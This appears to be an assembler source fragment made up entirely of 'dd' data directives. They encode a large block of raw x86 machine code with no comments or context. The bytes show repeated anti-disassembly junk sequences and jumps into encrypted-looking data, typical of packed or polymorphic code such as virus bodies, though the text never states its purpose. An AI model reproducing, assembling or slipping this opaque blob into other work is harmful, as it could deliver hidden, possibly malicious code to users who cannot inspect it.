		dd 6A2404h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 6A323DC3h, 4A858D03h, 8007D34Dh, 0B35091CEh
		dd 24048981h, 95FF93B6h, 7D30F01h, 0CC483F9h, 4A858DF9h
		dd 6607D34Dh, 8B50D38Bh, 240489D7h, 2EBD9D8Bh, 26A07D3h
		dd 2421958Bh, 0D18B07D3h, 0ED1495FFh, 6A006Ah, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 0E0932FC3h, 0B027D585h, 80E89007h, 0DE809CCFh, 890F6150h
		dd 2, 85C7D78Bh, 7D34D7Dh, 1, 38D0Fh, 0DB800000h, 13E89616h
		dd 59000000h, 7711F1FAh, 0FE9983CFh, 0F07563F7h, 7305B94Ch
		dd 0CB76125h, 0BE8505Bh, 25000000h, 417ADE66h, 0B1465295h
		dd 0CAB71DBCh, 9509965Ah, 7D32075h, 4D2EB589h, 840F07D3h
		dd 0Fh,	0AE9h, 0ACD43800h, 0FEC317B8h, 663148F9h, 2BEDCA81h
		dd 3255BD83h, 0F0107D3h, 5585h,	0CE800h, 4A180000h, 9954358Eh
		dd 572E8969h, 95896F91h, 7D31869h, 5F8835Ah, 34850Fh, 0B9BA0000h
		dd 665F3CB3h, 0BF30CA81h, 0B8h,	50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 704A52D1h
		dd 40855D99h, 0BD83B979h, 7D32A09h, 0C4840F00h,	6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 0BE00C351h, 8A23C21h, 8B130599h, 0D3344D9Dh
		dd 6A6007h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
		dd 57470000h, 0BF4DB9C3h, 0A9D958Bh, 95FF07D3h,	7D32A09h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0C6C35646h
		dd 2B52F8D0h, 13E9A6FCh, 96000000h, 0C62B6CC6h,	0B1C1BF6Fh
		dd 9050F725h, 0ACEB7D3Bh, 6A61F881h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 7A53C350h
		dd 0E9171264h, 0Ah, 0F8A1401Dh,	0DB7C6F0Dh, 8166068Ah
		dd 835F29DBh, 0D30829BDh, 840F0007h, 0Bh, 0B8D18Bh, 53000000h
		dd 605BDE8Bh, 1A959D8Bh, 858B07D3h, 7D3347Dh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0D0C35646h, 54051043h
		dd 9BE8BE69h, 5E98Eh, 4A540000h, 1CAD6A2h, 0D3299DBDh
		dd 2C08307h, 8589F38Ah,	7D34D26h, 0A2D9D8Bh, 0C607D3h
		dd 85C6FCFFh, 7D318D1h,	6800F53h, 89000000h, 0D330ED8Dh
		dd 38B0F07h, 80000000h,	0B66899D2h, 60E4C05Dh, 9E8C88Bh
		dd 0AB000000h, 98D741ACh, 0AACCA14Ch, 8F0Fh, 61580000h
		dd 6E243481h, 60187115h, 6880Fh, 958B0000h, 7D30D6Dh, 0E581BF66h
		dd 9D9D0361h, 0FF07D32Bh, 0D30DF1B5h, 0BBA6607h, 6A858DE7h
		dd 0E907DC03h, 0Ah, 29B31A0Dh, 2C6832FBh, 0D0FFD29Dh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0C1C35747h, 0C868EDDh
		dd 36E154Ch, 10E939h, 52AF0000h, 0FB43A908h, 88280FBCh
		dd 6358150Eh, 85894D24h, 7D33019h, 0D8D0Fh, 8E90000h, 21000000h
		dd 71D7206Fh, 83A60F1Ah, 0D31549BDh, 850F0107h,	0F4h, 34558589h
		dd 8B6107D3h, 0D333E19Dh, 0E9958907h, 0C607D307h, 0D318D185h
		dd 6A4507h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 5BA30EC3h, 0B58ECAD2h, 958B75A6h,	7D32119h
		dd 1464C568h, 11E9BAh, 0C4390000h, 236A52B1h, 6EDA5061h
		dd 0DC299A3Ah, 819201A8h, 0D3FD2404h, 6A204Bh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 0B99D7DC3h, 0E58D89D4h, 0FF07D300h, 0D30DF1B5h, 0FE907h
		dd 0E8870000h, 0DCBA1AFAh, 0CAE837D3h, 4EDFE28Ch, 29FC60D9h
		dd 0D325F195h, 858D6107h, 7DC036Ah, 54F4BA66h, 0EB81D0FFh
		dd 34F9BB20h, 0B70F006Ah, 6AD0FFDFh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0B7F8C350h
		dd 0BA36A7C4h, 5D606440h, 267D9D8Bh, 6BB707D3h,	2BE1BD83h
		dd 0F0107D3h, 12F85h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 0F8D7217Bh, 8BC8AE73h
		dd 0D3308D95h, 7D858B07h, 6A07D334h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0ECCCC350h
		dd 73609ADBh, 14B8E316h, 0BAE9h, 314EB700h, 0D309FDB5h
		dd 13E85007h, 4E000000h, 61B60FAAh, 99ECAA2Dh, 0D5A8F051h
		dd 37A2C50Ch, 36B7F9C1h, 2404895Ah, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 19h, 0A2C35040h,	0CD2B49C7h, 0A9958B5Ah
		dd 8907D329h, 0D3334195h, 6A146A07h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 1016C352h
		dd 138D0F5Eh, 0E9000000h, 0Eh, 47F43D9Dh, 0D59B258Dh, 32E7C19Dh
		dd 95FF94BCh, 7D33019h,	58DAB70Fh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 14C35747h, 0B8473971h, 80FCF268h
		dd 850F0038h, 0FFFFFF45h, 825958Bh, 0B58907D3h,	7D3315Dh
		dd 660100C6h, 766EDB81h, 83EBB261h, 0D30619BDh,	840F0007h
		dd 78h,	0FF6A2EB2h, 3769BB66h, 0A3B96050h, 6113E98Ch, 1995FF5Bh
		dd 6A07D330h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 232EC350h, 0A486F685h,	8644B2B1h
		dd 0BD29D08Ah, 7D31F49h, 0FFFFB9E9h, 29870FFFh,	0E8000000h
		dd 14h,	1EE68748h, 3CD7450Dh, 0BF964918h, 844D1CAEh, 3DAC67E2h
		dd 9E8h, 0FAC3B300h, 95EE7123h,	5A5AE949h, 61985C7h, 107D3h
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 22137FC3h, 0EE985F6h
		dd 0D8000000h, 0FB80A686h, 494FBBDBh, 0E80F7CA3h, 328589B2h
		dd 0F07D34Dh, 0E950DBB7h, 0Fh, 222BB820h, 36B51EDEh, 2CC23F38h
		dd 898DD63Fh, 95092404h, 7D31B2Dh, 5E860h, 0AAE50000h
		dd 91C96D4h, 0D308758Dh, 56A5B07h, 4D4A858Dh, 6A07D3h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 1CF66BC3h, 0E8C4AA35h, 0EE99011h, 3000000h, 0FB5048C2h
		dd 0A671CB0Bh, 0B08A95C9h, 52505060h, 310FDF8Bh, 68C0Fh
		dd 840F0000h, 0
		dd 8190585Ah, 98FDB3C3h, 3A858D7Fh, 6A07D34Dh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 0BAFC357h, 60F0194Fh, 0F8FE3269h, 0AE850h, 0AE500000h
		dd 3EFF7E2Fh, 0ED066FD7h, 310F5250h, 585AE9B6h,	2404895Bh
		dd 320995FFh, 6A07D3h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 607F9CC3h, 1F998D8Bh, 8E0F07D3h
		dd 6, 31F99D8Bh, 8D6107D3h, 0D379D88Dh,	53006A07h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h
		dd 8AF26F63h, 8E966B7h,	83000000h, 9867DE1Dh, 66B03ABCh
		dd 0C00BD78Bh, 858D1174h, 7D34D4Ah, 89D1FF50h, 0D34D6885h
		dd 0C70AEB07h, 0D34D6885h, 0FFFFFF07h, 952B51FFh, 7D33259h
		dd 50006A5Ah, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 6DE772A3h, 7CCE4B39h, 8C58F8BBh,	6E96Eh
		dd 26230000h, 0E3508015h, 0B5BD8961h, 0C607D31Fh, 0D318D185h
		dd 0FE94D07h, 86000000h, 4F01AF60h, 4B9B533Fh, 0A21FEC90h
		dd 5B68D0D9h, 0FF027FDh, 128Bh,	0AE800h, 0BEA40000h, 693DB07Dh
		dd 9617D535h, 815B25B6h, 8BF32434h, 95335412h, 7D31435h
		dd 15ADB5FFh, 958B07D3h, 7D308B1h, 36A858Dh, 6A07DCh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 8B66A9C3h, 8BD0FFD6h, 0FD8589D7h, 6A07D32Ah,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 2970C351h, 0D334D1BDh, 0D185C607h, 4507D318h, 1D19D8Bh
		dd 0A36807D3h, 8B352EE8h, 240481DFh, 594380C6h,	0DF1B5FFh
		dd 0BB6607D3h, 858DC7F9h, 7DC036Ah, 179BD89h, 0D0FF07D3h
		dd 0FD8589h, 6A07D3h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 62EE74C3h, 0B2D28BEAh, 0D98C66AFh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0F7C35646h
		dd 0C58D67F9h, 0BB666E19h, 0C1F6C076h, 8F840F04h, 0F000002h
		dd 97E9DABFh, 89000001h, 0D3158D95h, 68A0F07h, 8B000000h
		dd 0D323D19Dh, 4DB58B07h, 6A07D32Eh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 0ABAAC355h
		dd 4195317Ah, 0E807D312h, 12h, 58D70167h, 3B7BFE35h, 2C28537Eh
		dd 0FB3DFA5Dh, 90BB0AE6h, 5B64E466h, 6830Fh, 0B5290000h
		dd 7D316C1h, 1180C681h,	81520000h, 3D322DEAh, 0BD835B2Ah
		dd 7D31BA1h, 29850F00h,	89000000h, 0D32EE595h, 0E3E907h
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 0CB253DC3h, 0F003E83h, 0BC84h, 68E0F00h
		dd 81000000h, 0DACBECE3h, 6A6019h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 0CC923AC3h, 958B71EDh
		dd 7D31335h, 6840Fh, 958B0000h,	7D30745h, 85B3146Ah, 301995FFh
		dd 6A07D3h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 1E08F1C3h, 2EBA663Fh, 850F6146h, 6, 2FF2DA81h
		dd 79E97CC7h, 6AFFFFFFh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 0F3A1C355h,	0BA11CAD7h
		dd 61605760h, 11840F59h, 0E8000000h, 0Bh, 64C426A0h, 459B75B4h
		dd 585967D5h, 106C761h,	6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 22F2C353h
		dd 9AD9D89h, 0BD8307D3h, 7D34D32h, 0E3850F05h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 0CB3CC356h, 8BFD8A30h, 0D300FDB5h, 0B9D88B07h
		dd 64h,	14E8h, 73D2E00h, 53A0A997h, 98357A6Ah, 5FECD01Ah
		dd 4BB3DC9Ah, 0FDBD2908h, 5A07D31Ch, 3E8095B6h,	4A840FE8h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 0CF63C351h, 69592F1Fh,	49353549h
		dd 0BE8h, 3BA19500h, 6DFECFBCh,	0B116C14Ah, 0DC18D89h
		dd 0F5B07D3h, 1CE9D1BFh, 8B000000h, 0D3339D95h,	57E8007h
		dd 2B840FC2h, 89000000h, 0D330759Dh, 5952307h, 4607D308h
		dd 32299D8Bh, 0F4907D3h, 0FFFF8985h, 0E98D89FFh, 0E907D31Eh
		dd 12h,	32C58D01h, 0B58907D3h, 7D30D79h, 64E4F281h, 2B587EBDh
		dd 0D317119Dh, 61BD8307h, 7D315h, 0D6840Fh, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 0CD433BC3h, 8BE0F780h, 0D31BD59Dh, 0CA816007h, 66165B31h
		dd 12E9h, 6623A100h, 6405607Ch,	0BFC105D7h, 6DAB73E3h
		dd 0C654C3B5h, 0D318D185h, 0BA665407h, 6868984Ah, 60925C7Ch
		dd 8756B866h, 8161E5B7h, 0C29C2434h, 8D896D12h,	7D32E61h
		dd 0DF1B5FFh, 9D2B07D3h, 7D33155h, 36A858Dh, 8B0F07DCh
		dd 6, 31BD9589h, 0D0FF07D3h, 6AFE8Ah, 61B5FFF8h, 0F07D315h
		dd 0D0FFD0BFh, 12E9DE8Bh, 0C6000000h, 3A8A1779h, 0F2C55C7Eh
		dd 0B82F18h, 224B3D8Ah,	6A61BEh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 9C4F68C3h, 0D88B664Fh
		dd 89185C7h, 107D3h, 0BF0F0000h, 19BD31D1h, 6007D32Eh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0F4C35747h
		dd 0F5B58993h, 6807D31Fh, 68711ED7h, 57243481h,	6A68711Eh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 427BC356h, 0AD628342h, 0FE1D63DFh, 1F16EA81h
		dd 0FF6A5272h, 95FF03B2h, 7D31955h, 0EE9h, 0E2207400h
		dd 2F6DD56Bh, 40BC1E47h, 0F944956h, 689h, 1D9D8B00h, 6107D319h
		dd 310D8D89h, 565007D3h, 0F9A5FDBAh, 4895A0Fh, 818D8924h
		dd 8B07D315h, 0D333DD85h, 0FC00B07h, 0F84h, 599D8B00h
		dd 0FF07D301h, 0D3201D95h, 0D6B70F07h, 1B7985C7h, 107D3h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 0E9E2FEC3h, 0ECADF17Eh, 0BD89C62Ah, 7D33211h
		dd 2549BD83h, 0F0007D3h, 4884h,	50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 361B0E56h
		dd 90244816h, 12E9h, 87B15300h,	4CB8EB49h, 607F7741h, 7D2C482Eh
		dd 8B8E8DA6h, 0FD95FFD3h, 8B07D326h, 0D30B359Dh, 79BD8307h
		dd 7D319h, 0D840Fh, 0C3810000h,	361A7453h, 38195FFh, 83FC07D3h
		dd 0D33131BDh, 840F0007h, 27h, 0B9D8589h, 3AB607D3h, 31F5BD83h
		dd 0F0007D3h, 1285h, 0BD8D8900h, 0FF07D300h, 0D3200195h
		dd 0D99D8907h, 8307D326h, 0D31F41BDh, 840F0007h, 3Dh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0CEC35343h, 8581F906h
		dd 7D31805h, 4003h, 2D2D8D89h, 81FC07D3h, 0D309C985h, 400307h
		dd 0DFCA8000h, 0F310FF9h, 8Fh, 0C98D8D00h, 6A07D35Dh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 0D36AC350h, 89378125h, 57006A01h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h
		dd 0ACEF0651h, 0FD8AC233h, 8B044189h, 0F310FD9h, 581h
		dd 8A2CBB00h, 8D8D02B7h, 7D35DDAh, 189F4B7h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 59C35747h, 33D6BF0Fh
		dd 0AE9C2h, 0E1DA0000h,	0F02C2DBBh, 0F42E14FDh,	0F044189h
		dd 0C8Ah, 7E900h, 60C60000h, 680066EFh,	0DBD832Ah, 7D326h
		dd 18840Fh, 9D010000h, 7D30661h, 1F119503h, 95FF07D3h
		dd 7D30195h, 0B899D8Bh,	0BD8307D3h, 7D32761h, 39850F01h
		dd 8A000000h, 32E9F0h, 0B5890000h, 7D32635h, 5ED0B58Bh
		dd 6C707D3h, 0
		dd 5CFBB58Bh, 6C707D3h,	0
		dd 0D98B66CFh, 66DBD31h, 666007D3h, 88FBF381h, 6117D880h
		dd 1B79BD83h, 0F0007D3h, 14B84h, 0FDBA6000h, 661DA327h
		dd 8361F38Bh, 0D30AC5BDh, 850F0107h, 103h, 11E9h, 9F644D00h
		dd 0CA51F3BBh, 0FC85C14Bh, 0F547EC78h, 8D8BA19Dh, 7D34D26h
		dd 0D7D9D8Bh, 1C607D3h,	56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1404h, 0C3564600h, 6008B235h, 2CA1958Bh
		dd 4E807D3h, 80000000h,	66000000h, 50B109BBh, 448BD2B2h
		dd 820F0424h, 0Eh, 880F5250h, 0
		dd 6160310Fh, 8B585Ah, 4489D08Bh, 3DBB0424h, 5839B88Dh
		dd 0A0E38166h, 8BFF6A74h, 0D32B8595h, 5595FF07h, 8107D319h
		dd 888597C2h, 6A6172h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 48486AC3h, 8478E4B6h, 8197A5AFh
		dd 95E031C3h, 3595FF48h, 8907D31Bh, 0D307A98Dh,	268D8B07h
		dd 6A07D34Dh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 1C54C357h, 90560913h, 0FEDF8BC1h
		dd 99B50901h, 8307D317h, 0D31351BDh, 850F0107h,	24h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 38C35747h, 9523D825h
		dd 7D30E5Dh, 0BD29C08Bh, 7D32619h, 8D23F560h, 7D320F1h
		dd 0B1BD8361h, 7D313h, 0BD830975h, 7D3273Dh, 501A7400h
		dd 8BC08B53h, 0D3180585h, 5858907h, 8D07D318h, 0DB28099Dh
		dd 5BD3FF07h, 3DBD8358h, 7D327h, 53501874h, 1805858Bh
		dd 858907D3h, 7D31805h,	24F89D8Dh, 0D3FF07DBh, 6A585Bh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 2538ACC3h, 9D0182D8h, 7D30C1Dh, 6E8h, 6B6E0D00h, 52164671h
		dd 665A5AFCh, 8BA381BBh, 3367BAC0h, 0BD835BD8h,	7D31B79h
		dd 37850F00h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 5663C351h, 5958BFAh
		dd 8307D300h, 0D30081BDh, 840F0007h, 6,	2971958Bh, 0BD8307D3h
		dd 7D31B79h, 55840F00h,	6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0F3B5C351h
		dd 0F511DF2Bh, 94D052C7h, 87E08160h, 2B4AB4F3h,	0D32ED5BDh
		dd 8B0F6107h, 2, 0BD83F78Ah, 7D315D1h, 0D840F00h, 66000000h
		dd 8F0FD88Bh, 4, 5AC7B356h, 1B79BD83h, 0F0007D3h, 1E84h
		dd 0A9958900h, 8307D32Eh, 0D315D1BDh, 840F0007h, 0Bh, 6E9h
		dd 79DCA800h, 832B255Dh, 0D31B79BDh, 840F0007h,	3Dh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 71C35343h, 16D20F06h
		dd 0FC467C0Ch, 1A45BD83h, 0F0007D3h, 0C84h, 6850F00h, 89000000h
		dd 0D30D619Dh, 79BD8307h, 7D31Bh, 43840Fh, 25BB0000h, 8303BC65h
		dd 0D32511BDh, 840F0007h, 31h, 9D8BDE8Ah, 7D32D39h, 209995FFh
		dd 6A07D3h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 4A9A65C3h, 15224088h, 89C08B64h, 0D326E19Dh
		dd 0B1BD8307h, 7D313h, 0BD830975h, 7D3273Dh, 501A7400h
		dd 8BC08B53h, 0D309C985h, 0C9858907h, 8D07D309h, 0DB28709Dh
		dd 5BD3FF07h, 3DBD8358h, 7D327h, 53501874h, 9C9858Bh, 858907D3h
		dd 7D309C9h, 25119D8Dh,	0D3FF07DBh, 890F585Bh, 6, 0AC8DF381h
		dd 890F0D93h, 0Eh, 9E9h, 6D4C00h, 36599269h, 0C08B1C34h
		dd 0F18D8960h, 8B07D317h, 0D326E1B5h, 8B666107h, 79BD83D9h
		dd 7D31Bh, 3E1840Fh, 8B660000h,	49BD83DAh, 207D315h, 3D840Fh
		dd 8E0F0000h, 4, 9A2EBA66h, 2761BD83h, 0F0107D3h, 2685h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 0A0DA9AD5h, 0D1CA815Ah, 607ECD7Bh, 8D8B1DB7h
		dd 7D34D26h, 2FD58D89h,	1FE07D3h, 18BD9D8Bh, 4E807D3h
		dd 80000000h, 0E9000000h, 0Fh, 0ACAECF6Ch, 4892FEBAh, 5C51CD80h
		dd 50CC0C06h, 0CE960h, 627B0000h, 2A671035h, 64B3678Fh
		dd 8B61B4B5h, 66042444h, 8B3B51BAh, 5830F00h, 0BB000000h
		dd 384D9C5Ah, 4244489h,	0AE8h, 52681800h, 39E0373Bh, 8AAC4500h
		dd 8B585AD0h, 0D331A19Dh, 6AD18B07h, 55006AFFh,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 54D4A0D4h
		dd 0FA7D98DEh, 0C1BA665Dh, 5595FFF5h, 0E807D319h, 12h
		dd 319AB237h, 77E87A7Fh, 6816164Ch, 5E6D8AD0h, 9D8BC561h
		dd 7D32619h, 0BD89615Bh, 7D30A39h, 13D1BD8Dh, 6A07D3h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 56707AC3h, 95EF8050h, 0BF0F5B5Ah, 1C4F8BD0h,	6A016AFCh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 6555C351h, 8166603Ch, 0F57E4E0h, 382h, 0DE8B6600h
		dd 0A5BA6661h, 6050917Fh, 52505250h, 585A310Fh,	0CF8B310Fh
		dd 9E9585Ah, 1000000h, 46DC1F06h, 0A98E76ABh, 858D9161h
		dd 7DBBBDBh, 0DCE0EABBh, 9D0FF62h, 0D3158585h, 204F8B07h
		dd 6A036AF9h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 0DBCDC350h, 0AD757E85h, 0BBFF08A8h
		dd 20E19705h, 0DA8B6691h, 0D18B6650h, 13E991h, 0EFF00000h
		dd 8C5928F6h, 0A80BFADBh, 5DDAE9E6h, 0FE16C4C8h, 0DB858DD6h
		dd 6A07DBBBh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 9661C350h, 0D0FF4067h,	2B999DBBh
		dd 3850F3Dh, 80000000h,	0BD8D21EAh, 7D313D1h, 13E9h, 0FE5EA000h
		dd 0A62ED66Eh, 852B41B8h, 4395080Eh, 1B2A3B87h,	0E81C4F8Bh
		dd 7, 8AEE0C68h, 8056FCBBh, 6A5BE0CEh, 29BD0101h, 5007D332h
		dd 0C89DF8Bh, 50006A24h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1D04h, 0C3504000h, 0AA145920h, 4A90990Dh, 11E9A736h
		dd 1D000000h, 8B266121h, 73594925h, 29A52139h, 9B4C6A95h
		dd 0BBDB858Dh, 9D2907DBh, 7D32969h, 8D89D0FFh, 7D30DA5h
		dd 0F204F8Bh, 489h, 0D5BA6600h,	0B7036AAFh, 0F5150A6h
		dd 0D8Eh, 8E900h, 0F58C0000h, 0A12E2BD4h, 895A8D5Eh, 6A240Ch
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 0D16931C3h, 0DEB70F57h, 0DB858D5Ah, 8907DBBBh, 0D30EB5B5h
		dd 89D0FF07h, 0D325DD85h, 359D0B07h, 8B07D30Ah,	0D34D268Dh
		dd 559D8B07h, 0FE07D302h, 50006A01h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 8EF2ABE2h
		dd 0D7DA8BEDh, 0CD9503ABh, 8B07D334h, 0D34D2685h, 57006A07h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 5D7E9DE0h, 0A1D958Bh, 0FE07D3h, 0AE8h, 0FB36F600h, 28350AE1h
		dd 8113F7AEh, 0B31486DBh, 16A5A6Bh, 0E5958960h,	0B307D323h
		dd 93686167h, 81DDA5C1h, 0DE6C2404h, 29602259h,	0D3270D95h
		dd 0D0B16007h, 8D6161F5h, 0DBBBE585h, 55958B07h, 0FF07D333h
		dd 8324B6D0h, 0D30081BDh, 840F0007h, 0F6h, 3255BD83h, 0F0107D3h
		dd 0E985h, 8D8DF500h, 7DBBBEFh,	12E9h, 6A9B4400h, 0A652B552h
		dd 0D355F054h, 3BA8A69Eh, 6A74C315h, 3D958B03h,	6A07D329h
		dd 57006A01h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 0C4795536h, 65950B71h, 0FF07D302h, 0FE9D1h
		dd 0F1AE0000h, 0BE0997Dh, 72F59ABEh, 0D8210239h, 81016AFEh
		dd 6DFE42D3h, 6A016A3Ch, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 113AC350h, 6AD1FFF5h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 0C09BC357h, 8E901h, 2AF00000h
		dd 19F89DE2h, 0D0E8E99Bh, 6AF8886Eh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 1466C357h
		dd 364F82D9h, 8B52DE8Bh, 0D3252D9Dh, 206A5B07h,	0FF6AD08Bh
		dd 0FF92E780h, 0D3195595h, 57F38107h, 0B8668024h, 0
		dd 12E9h, 83A89E00h, 307459C0h,	855732F8h, 0DBB8B0B2h
		dd 8A9C1FC6h, 0FC00BF4h, 5384h,	0DA8B6600h, 2F4DBD83h
		dd 0F0007D3h, 4384h, 55006A00h,	3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1B04h, 0C3554500h, 0BEA9EDD4h, 6343D128h
		dd 7E1958Bh, 95FF07D3h,	7D30391h, 0FE9h, 90901F00h, 3BB04BFBh
		dd 38F67F5Dh, 0A68A7B7Fh, 347D858Bh, 6A07D3h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 95246BC3h
		dd 33707F07h, 0D31F619Dh, 0C607h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 15h, 6EC35747h, 0E8ECB35Dh, 0Fh
		dd 0FD3F469h, 2C5B4539h, 88868286h, 665C8CACh, 5BFD47BBh
		dd 59950B58h, 6607D306h, 958BD98Ch, 7D31751h, 0F04C1F6h
		dd 6384h, 54BA6600h, 5AE950h, 958B0000h, 7D3206Dh, 13E9h
		dd 0B82FD00h, 0FFA27D10h, 0C5DECB72h, 43BDC82Ch, 7A89FD2Fh
		dd 2E4DB58Bh, 81FC07D3h, 1180C6h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 57E294AFh
		dd 0DF802DF5h, 6C7AEh, 66000000h, 8EEDCA81h, 9D958B5Eh
		dd 8307D332h, 840F00F8h, 0B71h,	81B2EA81h, 0F8831A2Eh
		dd 86850F01h, 66000001h, 51CDDB81h, 0B8h, 3DBD0900h, 0B707D307h
		dd 0FC00BECh, 10084h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1C04h, 0C3514100h, 135FD03h, 9D2D9295h, 1F88329h
		dd 0ED840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 710974C3h, 0C4E3C214h, 0F03F883h
		dd 7A84h, 68C0F00h, 89000000h, 0D32F2D85h, 0B807h, 0E9510000h
		dd 0Dh,	94975B2h, 0CD6A9CFCh, 0FEC03223h, 0BD8D5A58h, 5B89E0h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 34C35141h
		dd 33B64757h, 0D327499Dh, 6AE7FF07h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 8B0DC357h
		dd 0D302999Dh, 859D0B07h, 0B807D332h, 1, 9DCB8166h, 4840FCCh
		dd 66000000h, 8D704ABAh, 5B89E0BDh, 0B19D2900h,	8B07D308h
		dd 0D3192995h, 8BE7FF07h, 0D30B9595h, 0B2BD8D07h, 6007D343h
		dd 2E49BD8Bh, 61FC07D3h, 256E9h, 81952300h, 0C707D31Dh
		dd 0D34D8185h, 507h, 0D0B70F00h, 5B8h, 57006A00h, 3E8h
